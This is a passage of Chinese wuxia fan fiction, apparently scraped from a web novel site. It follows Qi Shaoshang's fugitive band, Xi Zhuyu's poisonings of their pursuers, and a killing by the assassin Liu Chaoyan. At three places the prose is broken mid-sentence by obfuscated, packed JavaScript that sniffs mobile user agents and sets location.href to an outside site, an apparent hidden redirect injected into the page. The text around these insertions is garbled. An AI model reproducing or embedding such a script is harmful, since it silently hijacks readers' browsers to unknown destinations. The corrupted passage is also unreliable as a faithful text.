这里的人都是常年在江湖上摸爬滚打的,息祝余的心思自然谁都看得清楚,且不说他是个大夫,行走江湖怎么可能不带有麻醉效果的药,然而他心知这一点也要这么干,刻意作弄戚少商,戚少商也硬生生受着,半点不提敷药的事,息红泪也觉无奈。 息红泪心知肚明,哪怕她自己发问,息祝余也会一口咬死自己没带麻醉药没带曼陀罗,没带就是没带,为了给戚少商不用药,息红泪毫不怀疑,后续哪怕息祝余自己受了伤,他也能为了撑这个面子不用药。 枯梅摇摇头,道:“无妨。” 她十三岁便上了华山,剃度出家,性情孤僻,鲜有笑容,直到现在为止,她一下也没笑过,到现在也只说了两个字。 不过在场无论是谁都很尊敬枯梅大师,不曾对她无礼。她本可以留在华山,置身事外,如今却千里迢迢随着息红泪而来帮助逃难被通缉的戚少商,一出手便制住了黄金麟,这等侠肝义胆,实属令人钦佩不已。 戚少商缓过劲后顺势向枯梅道谢,感谢她仗义相助。 “戚寨主是抗金义士,他们向你出手,颠倒黑白,令人不齿,我不过路见不平,出手相助。真要谢,戚寨主谢息大娘便好。” 戚少商一怔,感动地看向息红泪。 “大娘……” 息祝余冷不丁用折扇的扇骨拍了一下戚少商的手臂,听着他嘶了一声,打断施法,这才装作不经意道:“刚才一直忘了问,既然不去阿姐的毁诺城,那接下来咱们往哪里走啊?” 息红泪自然是看见了息祝余的小动作,可说也不知道怎么说,息祝余早年离家,现如今性子已经差不多定下来了,她虽是长姐,可一直也没怎么照顾过他,说多了实在亏心,也担心息祝余不服,见戚少商朝她摇头,她在心中叹了口气,回答道:“我们往最近的符口渡去,坐船到海上避避风头。” “有船吗?”息祝余问。 “有的,枯梅大师说她有相熟之人在符口渡有几条船,届时我们到了海上,朝廷的这些狗官想追我们也难。” 雷卷想得更深几分,他沉吟片刻,道:“勿怪我多问几句,符口渡的人可信吗,不然到时候开了船到海上,把我们往水里一扔,别人我不知道,我可不会凫水,死在河里还能喂王八,死在海里就只能喂鱼了。” “自然,不然我也不会开这个口。”枯梅说。 “那便多谢枯梅大师了,在这种时候还愿意往这浑水里走一遭,实在感激。” 雷卷没了疑问,沈边儿一向以雷卷为主,雷卷不说话,他便也不多言。 枯梅大师的脾气江湖上人人都知道,虽然修为高深,但却最不能忍受别人对她无礼。雷卷要是再继续问下去,就不礼貌了,甚至有咄咄逼人的嫌疑,一旦惹怒了枯梅大师,他们这一行伤的伤残的残,后果难料。 雷卷不问,息祝余却忍不住继续多想几分。 枯梅大师十三岁就出家了,一直在华山上修炼,也没听说她跟什么有船的豪商家族结识的消息,那么这符口渡的人又是哪一方的势力? 息祝余知道的事情周撷夏也知道,息祝余所想之事也是周撷夏所想,马甲之间的想法、情报皆是互通的。 “二师兄,你可知海上可有什么势力?” 铁手听得周撷夏开口,有些疑惑,不过还是回答了。 “怎得忽然问起这个,海上风浪危险,一般很少有人出海,你说有什么势力我也不太清楚,若说起水上功夫最好的,当属香帅楚留香了。” “原来如此,二师兄是专程来帮戚寨主的吗,之前没听过你与他有来往。” “不是,只是碰巧遇上,我原先是受了你四师兄拜托追杀几个坏人,你知道的,你四师兄很少求人,若不是他身上有伤怕自己追不上他们,他肯定亲自来了。” “是哪几个人?” 听周撷夏问,铁手便说了名姓和缘由。 这五个人,先有着极好的名声,但是自从他们卖友求荣、率性妄为,背叛了自己的大哥聂千愁后,名声便一落千丈。冷血与聂千愁不打不相识,他敬重聂千愁的为人,也感受到了他在兄弟们背叛他后的灰心失落,冷血便寻了王命君等五人,劝他们回到大哥身边,重新拾起那份兄弟情义,谁知这五人再度恩将仇报,杀了聂千愁,夺走了他的三宝葫芦。 冷血听闻此事后懊悔不已,再加之这五人投奔奸臣,作恶多端,冷血便叮嘱铁手一定要杀了他们,绝不姑息。 在铁手遇到周撷夏之前,他已经勘破了一次那几人的陷阱,其中两个人自食其果,中了自己的毒死了,剩下三个还未寻得他们踪迹。 周撷夏哦了一声,“那我们继续去追他们吧,戚寨主他们不去毁诺城了,我们先把四师兄的叮嘱办完再去找他们。” “他们不去毁诺城了,你怎么知道?可是祝公子留了线索?”铁手惊讶。 “不错,祝公子留了讯息告诉我的,息红泪息大娘和华山的枯梅大师也在,他们已经脱离了险境,戚寨主无事。” “这样吗,那便好,看来祝公子还是不愿落井下石,帮了戚寨主一把。” 铁手松了口气,也不问周撷夏是怎么得知的讯息。 “既然这样,我们便不过去了,我身上这伤若是去了也是拖累他们。只是那三人凶残至极,尤其是王命君,他当过官,心思深沉,诡计多端,小夏你要小心行事。” 周撷夏带着铁手追查王命君等人的踪迹。这个过程并不简单。 这几人隐姓埋名掩藏踪迹,就是为了不被铁手追上,在他们的印象里,并不知道铁手遇上了黄金麟等人,挨了一顿折磨,他们一直以为铁手在追捕他们,所以不管日子再难熬,他们都十分小心谨慎。 但无论再小心谨慎,也难逃过周撷夏的探查。在隐藏踪迹这一方面,周撷夏可是一把好手,他天生在这方面就有着极强的天赋,还未习武的时候就可以躲过旁人的视线与感知,即使就在其身后也不会被发现。 周撷夏寻得他们踪迹时,他们已然乔装打扮过,正在一家店喝酒吃肉,铁手远远从店门瞧了一眼,认出了他们。 确认了犯人的身份,那便好办了,冷血当时的意思是直接杀了了事,铁手想着先抓捕,最好不伤人性命,他性情宽厚,自己也是这样做的,只是周撷夏年纪尚轻,内力又不怎么深厚,他不可能强求周撷夏留那三人一命,万一周撷夏自己被伤着,可就得不偿失了。 周撷夏与铁手商议后,留了他和马在隐蔽安全的地方歇息,自己进了店。 他一进店,除了看见自己的目标乔装打扮成了樵夫猎户和郎中以外,还看见了一个黑衣人,那人独坐一桌,旁人显然是顾忌他的江湖人打扮和浓重的血腥气,这一看就是一个杀了很多人的人,这样的人看人的眼神,还有他脸上的表情与寻常人是完全不同的。众人恐惹事端,皆离得远远的。 周撷夏走到了黑衣人面前,坐在他对面的凳子上。 这黑衣年轻人本是抬眼用看死人的眼神看人,可一看清周撷夏的脸后,神色一怔,眼神也变了。 “是你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924198|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是我。” 黑衣人沉默一瞬,低声说:“请吩咐。” “你认识旁边那桌的人吗?” “那是我这次的目标。” “有人委托了你要杀他们?” “没有,是我的个人意愿。” “那正好,我也要他们死。” “是。” 黑衣人应声后,他迅速起身,拔剑,朝背对着他的樵夫刺去,动作行云流水,剑招又快又险,毒辣刁钻,没有任何花哨的动作,直奔要人性命而去。他不讲究什么偷袭胜之不武,他本就是杀手,只要能杀人,怎么做都行。 伪装成郎中的王命君被惊了一下,面前之人的血溅到了他的脸上,他立刻去摸桌子上的包袱,然而还没等他从包袱里将三宝葫芦拿出来,心口却感觉一凉,随后一脸惊愕地趴在桌子上,手还保持着原先的动作。 还有一个人也不是黑衣人的对手,被他三下五除二杀了,店里的人见他们当众杀人,一脸惊恐,纷纷逃窜,头也不回地就跑,要多远有多远。 周撷夏的短刀从王命君的胸口抽出,他见黑衣人杀了人后将剑插入剑鞘,不说话,视线落在包袱上。 “六朝烟,你为了包袱里的三宝葫芦而来?你是练剑的,这东西对你有什么用?” 周撷夏不解,便开口问道。 周撷夏问,六朝烟便回答。 “三宝葫芦前两口已被冷血所破,这一口名为梦幻天罗、六戊潜形丝,我……” 六朝烟说了一个我之后,似乎是不知道要说什么,又闭上了嘴。 听到梦幻天罗一词,周撷夏便了然。 葫芦本身对六朝烟这样一个剑客杀手来说并无用处,他只是想要这个名为梦幻天罗的东西。因为曾经在年幼时给过他一口饭吃,将他从生死边缘拉回来,随后将他送到师父那里学剑的人,在江湖上也有一个外号,正是梦幻天罗。 “你拿去吧,我只想要这三人死,葫芦于我无用。” 六朝烟听了这话,才上前取了包袱,背在背上。 “可还有其他吩咐?” “你知道海上有什么有名的势力吗,最好是与陆地有往来的,在津渡能够通行无阻。” 六朝烟沉默了一会,似是在思考,随后他说:“蝙蝠岛。” “蝙蝠岛?” 周撷夏重复了一遍。 “去那里的人都要出海,那是一个海上销金窟,什么都有卖的,什么都能买。” “不过没有邀请,去不了那里。” 六朝烟又补充道:“需要坐指定的船,出海六七天,才能到岛上。我曾经跟姑娘去过一次。” 周撷夏心下了然。 六朝烟口中的姑娘便是二号马甲外星人的本地身份,他自己也是被外星人介绍给六朝烟的。归根究底,他现在能顺利从六朝烟口中问得消息,要他听令行事,倚仗的便是二号马甲的名头。 二号马甲的确去过这海上销金窟,里面不让出现任何光亮,一如蝙蝠所居住的巢穴。里面贩卖着各式各样的情报消息财宝功法,只有想不到的,没有他不卖的,将蝙蝠岛比作一个海上黑市也自无不可。 周撷夏先前没有想到蝙蝠岛这一茬,不过既然六朝烟提到了,他也暗暗在心中将其划上重点标注。 随即周撷夏点点头,便叫他自便,并叮嘱他躲开铁手所在的方位,换个方向走。毕竟铁手只是重伤,不是瞎了,也不是死了。六朝烟当杀手当久了,一看就不是什么名门正派,平白无故引起铁手注意实在得不偿失。 6. 梦幻天罗 六朝烟离开后,没有走远。 周撷夏没有安排他做事,但是他还是决定就在这附近,这样即使回去到师父那里,这段时间他的活动也是可以解释的。一是为了梦幻天罗,二是随时准备听从周撷夏的吩咐,都是很正当的理由。 毕竟在周撷夏这里即使做事失败了,或者根本没有事情需要他做,六朝烟都不会受到惩罚,但是若是回去师父布置的任务失败了,那他就要领罚。 不知名姓,除了一双眼睛以外面容遮掩得严严实实的师父一直对他们很冷酷,他们这些弟子都很害怕他,害怕他高超毒辣的剑法,害怕他冷酷无情的性格,即使是如今成为非常有名杀手的一点红也不例外,六朝烟更是如此。但是对于师父而言,还有一个人的事情是特别的,那就是梦幻天罗关昭弟。 关昭弟的死与她的丈夫雷损有关,这是几乎所有知晓此事的江湖人的共识,而就六朝烟所知,师父已经数次去刺杀雷损,却失败而归,在雷损因为杀了朝廷命官而不得不出家,将六分半堂大权交托给狄飞惊后,更是咬牙切齿,曾经筹谋过刺杀狄飞惊的行动,六朝烟也有参与,但最终因为狄飞惊的谨慎没有成功。 但六朝烟一直都没有忘记此事,师父也没有忘,关昭弟的音容笑貌依然留在他们的脑海里,六朝烟还记得那女子肆意明艳的笑容,记得她揉捏自己脸颊的力度,还记得她轻佻散漫的语调。 他记得那时关昭弟说,这小子她就不养了,雷损给她扔了一个小子,本来就烦,再加人她岂不是成专职带孩子的了。 师父随意地说行啊,那就留在他这里,反正他也要培养杀手,养一个是养,养十来个也是养,他还跟关昭弟说要是有空了可以来看看培养情况,不过要是养死了可别怪他。 六朝烟就这么被养大了,成为一个由师父所掌控的杀手。在接受师父残酷到残忍的杀手培训时,他一直在期望有一天关昭弟还能来看他,不用带他走,只要能来看看他,同他说几句话,六朝烟就心满意足了。可惜后来这个期望落空了,关昭弟下落不明,再无踪迹,所有人都说她已经死了。 但哪怕她现在已经死了十多年,携带着她信物而来的姑娘仍能得到师父的纵容。在看到遗物,并且与姑娘交谈后,师父的状态几乎一下子就回到了六朝烟初见他时的模样。比起一个残忍冷酷的杀手头领,他看上去更像是什么世家公子,像一个长辈见到了赏识的后辈。 师父对姑娘异常地宽厚,以至于那姑娘的同伴周撷夏也可以指挥他们这帮杀手。 六朝烟对此没有什么意见,他只是有时候会想,姑娘得了关昭弟的信物,继承了她的遗物,那是不是也会继承那些未能完成的仇恨? 他们会有一日能够杀了雷损、杀了狄飞惊吗? 雷损娶了关昭弟,得到了迷天盟的助力因而在与雷阵雨的争斗中获得优势,可他不珍惜自己发妻,以至于关昭弟不知缘由地失去踪迹。 狄飞惊也是如此。 六朝烟知道,狄飞惊就是被雷损丢给关昭弟的那个小子,他曾经是关昭弟的小跟班这件事情并非是什么秘密,六朝烟在打听狄飞惊的情报时很轻易便打探到了这一点。 一想到他有跟在关昭弟身边的机会,可却最后仍旧为雷损效力,六朝烟就不可避免地升起嫉妒的情绪。这种嫉妒在他的放纵下自然而然转化为了杀意,这是被师父默许的杀意。 雷损也好,狄飞惊也好,他们都必须付出代价。凭什么关昭弟身死后他们却毫无影响,甚至踩着关昭弟的尸骨更进一步,事业蒸蒸日上。 六朝烟绝不甘心。 在六朝烟离开后一会,周撷夏也走出来,与铁手汇合。 铁手的鼻子灵,一见到周撷夏,便闻见了他身上淡淡的血味。 “都死了。”周撷夏率先开口。 “三个人都死了?” “三个人都死了。” 铁手欲言又止,随后叹了口气道:“也好,也好。我刚才看不少人跑出来了,可是你跟他们交手的时候惊动了大家?” “突然死人,肯定会吓他们一跳,当时想的是跑了也好,不会被当做人质威胁。” 铁手转念一想,也是这个理。 “二师兄,我们之前为了追捕这几人我们一直在赶路奔波,我们接下来寻个地方,你打坐休息几日,同时我也去打听与大师兄和戚寨主有关的消息,等伤好大半了,我们再去找他们吧,不然我们去了对他们也无益。” 铁手听后,点头道:“好。” 他对周撷夏的安排没有意见,铁手一向是宽厚随和的人,不会刻意提什么要求,何况他也不愿给小师弟添麻烦。别看周撷夏年纪虽轻,实际上做事很利落,铁手很信任他,任由他来去忙活找地方找药收集情报。 周撷夏一出生便体弱多病,大夫断言活不过二十,后来遇到了诸葛正我出手相助,接他到神侯府调养身体,这才逐渐好转,并且如今能够习武,长途跋涉也不会伤及根本。这也是先前周撷夏说深恩难报时铁手没有言语的原因,诸葛正我对周撷夏确实如同再造之恩。 他在一点堂养病的时候,无情还没有得到关七的蓝牙传功,没有内力,习不了武,无情只得练习手上暗器功夫,博览群书增进自己,闲余时间也不怎么会操纵轮椅外出,最多只在神侯府里面活动。那个时候萧寒僧也在,还没有去惊怖大将军处卧底,也没有被烈云枪所救,后又被诸葛正我派去熙河路镇守军事重地。 只是萧寒僧和铁手都有要务在身,于一点堂内不常久留,铁手偶尔回来时,便见暖和的太阳下,无情手里拿着一本书,缓声教周撷夏识字读书,周撷夏望着无情,一脸期待地听无情为他解惑,随即露出恍然大悟的表情。这样的场景叫人见了,心中也不由得升起暖意来。 后来无情当了捕快,破获不少大案要案,逐渐成为四大名捕之首,周撷夏也有学有样,投身捕快的行当中,认真办案,为无辜者伸张正义。 他比无情身边服侍的四剑僮年纪要大些,但也大不了多少,除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924199|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了金剑性情谦和,银铜铁三人都嚷嚷过,觉得公子不公平,周撷夏也没比他们大多少,怎么周撷夏就能独当一面,一人办案了。 铁手见过无情一脸无奈但又不得不安抚这几个性情活泼的童子的模样,他为人宽厚,倒没有笑出来,只是见无情被这些琐碎的事情叨扰,不露出孤寂冷傲的表情,他心中也是高兴的。 无情此人说无情道无情,外表冷漠,可实际上内心柔软多情,外人只觉他办案作风凌厉冷酷,可实际上他才是最容易动情,最善于体察旁人心情的。 为了不被别人看轻,周撷夏也学着无情的做派,在外面时话不多,只有别人问了他才会答,不然绝不当先开口的那个人。言多必失,少说慎言,这句话被他实践得很好,问起他来,他也会绷着一张脸回答说事以密成,语以泄败,所以没有定论的事情他是不会说的。 不过这也只是在有旁人的情况下,若是只有他们师兄弟和四剑僮的时候,周撷夏的话就会变得多起来。 “我先前出去打探的时候得知原本黄金麟他们还想硬攻毁诺城,不过还好被刘独峰刘大人阻拦了,后来估计是收到了戚寨主他们的消息,所以几人也不得不放弃毁诺城这难啃的骨头,朝戚寨主他们的方向追去了。” “戚寨主他们出现的地方并非是通往青天寨,也不是去京城的,不知道他们打算往哪里去。要说他们去的那个方向也没有什么戚寨主往日里来往过的势力,单凭他们几人恐怕难以对抗有朝廷授命的黄金麟文张几人,何况还有更为棘手的捕神刘大人。” 周撷夏露出担忧的表情。 “大师兄他们的消息倒是还没有打听到,周笑笑和惠千紫他们两个人在躲藏逃避方面还挺有手段的。何况还有被周笑笑拿捏住把柄的江湖人,以及不服大师兄的家伙也是一箩筐,这些家伙一拍即合尽会给人造成麻烦,也不知道他们究竟现在藏到哪个老鼠洞里去了。” 铁手沉吟片刻,温声道:“我相信以大师兄的能耐,那些人应该对他造不成什么阻碍,不过我们路上还是多留意几分关于周笑笑和惠千紫的消息。” “周笑笑与惠千紫是同门师兄妹,自他为惠千紫出头与人对战断了一条手臂后,他们师兄妹便一同行走。如果说有谁是周笑笑不会出卖的人,那就只有天姚一凤惠千紫了,江湖上的人都说惠千紫就是他的手臂,二人齐心协力,造成了不少惨案。” “戚寨主他们面对的危机不容乐观,刘独峰刘大人,还有黄金麟文张等人都是朝廷命官,对他们出手一个不好就是袭击朝廷官员的罪名,我们去找他们看能不能帮上些忙,尽些绵薄之力也是好的。” “我在追踪术这方面不如你和三师弟,若是换作追命,估计在遇见你之前就已经将那三人逮住了,哪里还用的着让你特意费心神冒险。接下来找戚寨主他们的事情就拜托你了,小夏。” “你放心,二师兄,交给我吧,我会很快找到他们的。” 周撷夏还残留着几分稚气的脸上露出认真的神色。 7. 滤镜拉满 碎云渊的毁诺城是息红泪经营多年的城池,里面庇护着诸多苦命女子,城外除了可化骨的护城河之外,还有无数机关,使得毁诺城的固若金汤,足以在此地盘踞多年,成为当之无愧西南方的霸主。 息红泪主动离城,出手援助戚少商,将自己放在了大逆不道的位置上,黄金麟等人有朝廷的许可,因此而对毁诺城开展进攻也并非不可行。毕竟毁诺城就在那里,也不会长腿跑了去。 黄金麟对强攻毁诺城并无执念,何况能不能攻破毁诺城的防御也不是他们说了算的,得刘独峰点头,他手下云大擅长水利工程,李二擅长用毒解毒,若没有他们二人相助,黄金麟等人也只能隔着悬崖与毁诺城大眼瞪小眼。 黄金麟当面答应了息红泪不动毁诺城,实际上他还是蠢蠢欲动,想着若是息红泪带戚少商到毁诺城去藏身,那就必须要破城了。只是在他说了原委后刘独峰只慢条斯理说急什么,要是戚少商不在毁诺城岂不是白忙活了。 于是他们只好在毁诺城对面等,等其他人传来消息。最终还是另一小队官兵传来情报说在一个城镇得到了疑似戚少商一行人的行踪,紧接着,陆续有其他消息传来,皆证实了这条情报的准确。 既然戚少商不在毁诺城,刘独峰都快乞骸骨的人了也不打算做这个恶人,他听闻属下说戚少商等人疑似出现在别处,便不再与毁诺城纠缠。 刘独峰如此作态,黄金麟也没坚持。他心中盘算着,既然祝难救铁了心要帮戚少商,那么路上少不得要有一个擅长解毒的人帮忙,不说刘独峰本来身份就高,他开罪不得,想来后续他还要仰仗对方手下帮忙解毒,那便更得罪不起了。 顾惜朝不甘心,他记得息红泪刻骨铭心的一剑,与雷卷不相上下的可恶。不过他也分得清事情的轻重缓急,不将戚少商抓住,说什么都是白的,原本即将拿到手的权柄富贵说不定也会烟消云散。 他费这么大劲,加入连云寨,获取戚少商的信任,挑拨离间,让戚少商众叛亲离,不得不逃亡,不就是为了完成义父傅宗书交给他的任务吗? 如果完成不了任务,免不得被扣上一个办事不力的大帽子。 办事不力的人在相府不仅很难有出头之日,还有可能被后续的人一脚踩下去,当做他们的垫脚石。顾惜朝想要出人头地,成就大事业,为此不择手段,加害他人,出卖兄弟,他为此付出了这么多时间,花费了这么多精力,决不允许自己就这样失败。 于是他们放弃与毁诺城死磕的打算,率兵去继续追击戚少商等人。 戚少商被定为罪犯,黄金麟等人身负敉乱之责,沿途一路官吏军民皆可调动,包括现在他们率领的便是附近城镇的军队,这给戚少商等人的逃亡带来了极大的困难。 他们只能在小路上的店家喘息几分,周遭的城镇都进不了,也不敢进,生怕被嗅到消息的黄金麟等人围攻过来包了饺子。 穆鸠平靠在树荫下,猛地灌了口水。 他年纪尚轻,身负内力武功,比寻常人要体力更好一些,只是再怎么体力好精神足,他也是个人,是个人,身体和精神上过度疲劳就会累。 穆鸠平尚且如此,遑论负伤断臂的戚少商和病重体弱的雷卷。沈边儿本想背着雷卷走,却被雷卷断然拒绝了。 息红泪靠在戚少商身边,二人压低声音说起昔日的事情,周围人都给他们留出空地。枯梅大师原地打坐调息,闭眼不问世间红尘事。 息祝余瞧着没人注意,他假装不经意间凑到雷卷身边,雷卷却瞧也不瞧他,只当没他这个人。 息祝余扯了扯雷卷的毛裘,又扯了几回。雷卷把毛裘抽回来。 息祝余给沈边儿使了个眼色,沈边儿随即反应过来,自坐到一旁去和穆鸠平一干人一起。 “雷老总,我头一回见你时,你身上少说有十七八种伤,其中十二种都被你用内力化解了,剩下的这些在你身上成了顽疾。你们小雷门请我来,我便花了不少心思配药替你化解了。” 息祝余低声道:“你肝脏间还有一处恶瘤,我说要动刀,你却断然拒绝了。可这恶瘤才是你病重体薄的根源,每每发作,都会给你造成不小的负担,当日我用放血的法子替你缓解了发作,可不能回回这般。日后想来恶瘤会发作的更为频繁,当真不是我说笑的,指不准哪一遭恶瘤发作,你应对不及便要去见阎王了。” 见息祝余真要在这种场合跟他探讨病理,雷卷只得无奈回话。现在低声说话还算给他留些颜面,若是给息祝余惹恼了,只怕息祝余就要大声公布。 雷卷不愿别人怜他,同情他,甚至不愿暴露毛裘之下瘦弱的身躯,即使是换药和绷带也只找沈边儿。 “动刀不是问题,我常年在江湖闯荡,难道还怕了刀锋入身的尖利不成?只是你说动了刀后还要长时间调养,劳累不得,这我如何能答应,我本就没几日好活的,再不操心些,小雷门该当如何,我雷门复兴又如何继续,我雷卷当如何自处。” “把恶瘤去了,身体调养好了,你怎么不能活,还是说你不信我的医术?” 息祝余眉头一挑,马上就要翻脸。 雷卷只得立即表明自己的态度。 “自然不是,我若不信你,哪会找你替我养伤?” “只是一动刀,一调养,免不得要数日休息,小雷门的事务大都耽误不得,我也不愿为了我自己耽误要事。” “这倒是,动刀之后要少劳累,多休息,你因着雷门的事务免不得多思多虑,休息了跟没休息也差了多少,效果不好。” 息祝余听后脸色缓和下来,露出若有所思的表情。 一瞥眼,望见息祝余与雷卷窃窃私语,戚少商一怔,随后悄声在息红泪耳边谈及此事。 “卷哥和祝余的关系瞧着不错。” 息红泪不禁一笑,也与戚少商咬耳朵。 “小弟有回来毁诺城看我,同我聊起过雷老总,虽说他讲起雷老总没什么好话,但能叫他跟我聊起的人,想来都是他印象不错的。我估摸着小弟应该挺佩服雷老总的,不然刚才也不会主动凑过去跟他聊天。” “不错,是这个道理。” 从未得到息祝余好态度的戚少商连连点头。 “小弟……哎,不瞒少商你说,他早年跟着师父离家学艺,我照看得也少,只逢年过节才聚上一聚。他听闻你我之事后忿忿不平,便去找你麻烦。当时我想,你负了我,他想替我出头也是常理,是应该的,我也想替我自己出头。只是一想到你可能会死,我的心也好像死了似的。” 息红泪发出一声叹息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924200|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 戚少商握住她的一只手,柔声道:“大娘,是我不好,是我负了你,任你将我千刀万剐,也是我应得的。” 一番含情脉脉后,戚少商为了继续跟息红泪说话,寻了一个与息祝余有关的话题。 “不知祝余师承哪家?年纪轻轻就有这般成就,想来是师父教得好,也是他天资聪颖。” 他本以为这不过是个寻常话题,没想到息红泪却苦笑着摇了摇头。 “他师父将他逐出师门了,扬言要断绝师徒关系。” 听罢,戚少商一惊,问道这是怎么回事。 自古师徒如父子,弟子事师,敬同于父,习其道也,学其言语,息祝余少小离家,跟着师父学得这般出色本事,想来更是其倾囊相授。江湖上无数人都好奇祝难救的师承,可他的师门却一直是一个迷,没有人承认是他的师父,问及他本人时,祝难救也不回答。 戚少商被息祝余追杀了好几回,该打听的情报消息自然也都打听过了,对息祝余身上的谜团自然也是好奇的。 戚少商问道:“祝余的师父是谁?” “温华倩。” 息红泪只说了三个字,却叫戚少商再度一惊。 他大吃一惊。 他不得不为此感到惊讶。温华倩号称前无古人,只此一毒,是岭南温家老字号主持大局的十个高手之一,他将古来一切用毒手法奇法融会贯通,最擅长发射淬毒暗器,用毒手法令人闻风丧胆,武功地位也有非凡成就。 这样的温家用毒高手,怎么能不叫人只听名字便为之一震。 戚少商喃喃道:“没想到……不过你这样说来,我倒是明白为何他师父会如此生气了。” 息祝余行医治病救人,而非用毒杀人,说来也并非原则性的错误,只是可惜温家有一个不太好的先例。 毒行其是,温丝卷。 他原先是温家供奉,只是用毒救人而不肯用毒杀人,不愿听令行事,惹了权贵高官不喜,叫温家高层不悦,温丝卷索性破门而出,离开温家自立门户。 一入温家深似海,不做家人,那便当仇人罢! 温华倩作为温家主持大局的高手之一,自然清楚温丝卷一事的始末,得知自己的得意弟子想要救人而非用毒杀人后,不气得一佛出世二佛升天已经可以说是他涵养好了。 息祝余在江湖上行走,治病救人,却没有温家的人来追杀他,想来也有温华倩的缘故。温华倩这个当师父的都不去清理门户,其他人也不好代劳。 戚少商转念一想,江湖上祝难救并不以用毒见长,可即便息祝余只学得温华倩的三四分用毒水平,都不是戚少商当时能应付得了,无论找谁来解毒都难逃一死。 可他还是解了毒,好好地活了下来,那毒性也并非剧烈的、毫无回旋余地的,只是解毒的过程困难些、繁琐些,还用了不少苦药,当时叫他和顾惜朝二人吃了不少苦头。 现在想来,那些毒只怕一开始便并非是以杀了他为目的下的。 戚少商看向息红泪,息红泪也看着他。 他知晓息红泪告诉他这些事情的目的为何,无外乎是不希望他误会了息祝余。 她说:“小弟本性不坏。” 戚少商含笑点头,道:“我明白。” 8. 各谋略 息祝余本性坏不坏这事,息红泪有发言权,雷卷有投票权,戚少商有知情权,不过与黄金麟顾惜朝等人就没有多大干系了。 若是叫他们知道了息红泪和戚少商的一番对话,也只会大骂息红泪有失偏颇,叫猪油蒙了眼,半点也看不见息祝余那小子的心黑手狠。 他们追着戚少商等人的踪迹,黄金麟虽然再未见息祝余其人,可却牢牢将这人铭记在心。无他,这一路上下毒下得太频繁了,刘独峰的手下李二擅长解毒,但是也架不住解毒解得这么频繁。 诚然,息祝余下的毒并不什么毒性很烈发作起来难以缓解的剧毒,但是中毒的方式实在是防不胜防。 有的人在溪水边饮水,中了毒;有的人在路上骑马时扬起的尘土扑在脸上手上,中了毒;有的人路过平平无奇垂下来的一根树枝,中了毒;还有的人什么也没有做,什么也没有碰上,中了毒。 李二的解毒水平很高,可他一人分身乏术,不可能一时间给所有人解毒,被弄得手忙脚乱。就算再加上刘独峰,也不过两个人,如果他们不停下来歇息而是一路追去的话,就算是刘独峰和李二也不可能给所有人解毒。 “中了毒,就说明他们确实走的是这条道,我们追击的方向是对的。” 黄金麟黑着脸说出这句话,半是安慰自己,半是稳定人心。 冷呼儿的脸肿得像捅了蜜蜂窝似的,他含糊不清地说:“黄大人,你不要站着说话不腰疼,你武功高强不假,可即便如此你也中了五六回毒了,这回回来,次次来,谁受得了。” 冷呼儿和鲜于仇都是九幽神君的弟子,不过与骆驼老爷鲜于仇不同,冷呼儿还是傅宗书的内弟,所以这被称为神鸦将军的青年说起话来也不至于顾忌太多,而且此人好强孤傲,行动时虽谨慎小心,可在口头上的功夫涵养倒不如他师兄鲜于仇好。 “冷将军若是真抱有这样的想法,不如早日放弃追捕戚少商,回京城去过你的逍遥日子去,省得还叫我和我手下费心替你解毒。”刘独峰冷笑道。 先前在放弃强攻毁诺城的时候,就数冷呼儿的不甘心表现得最明显。刘独峰连黄金麟都不放在眼里,何况是冷呼儿。 若不是傅宗书抓了他的好友下狱,威胁他若是不将戚少商抓回京城就取了他好友们的性命,刘独峰本就是要上书退隐的人了,哪里还用得着来趟浑水。 他不得不来,可不至于还要给这群相府的红人们好脸色。 黄金麟心知此人言语有棱,忙打了个圆场,省得冷呼儿不管不顾与刘独峰吵了起来。不少人都等着让刘独峰和李二解毒,可不能在这点事上起了龃龉。 “冷将军只是说气话,刘大人也不必如此生气,我们都是为了一个目标来的,不因为那些通缉犯的小人行径而气恼。” “不过冷将军的担忧也对,我们不能一直处在被动,叫祝难救那小子如此得意,不知刘大人可有什么办法可以一解困境,不然我们一直跟在他们后面也不是长久之计。” 刘独峰沉吟片刻,说道:“不知道文大人什么时候过来,他应该已经在路上了。” 黄金麟算了算时间,说:“不错,应该快了。” 虽然他不知道刘独峰此时忽然提起文张的用意何在,不过还是回答了他的话。 “祝余能算计到我们,无非不过是利用了我们想要抓捕他们一行人的急切心情。他下的这些毒说起来也不足为奇,不是什么奇毒怪毒,只是时间和手段上实在把握得精妙,所以叫不少人屡次中招。但这也足以证明他对药性的掌控极深……” “刘大人何必长他人志气,灭自己威风,”顾惜朝冷声说道:“祝难救是难对付,可他也不过只有一人之力,何况在场皆是朝廷命官,难道他还能毒死我们所有人不成?” 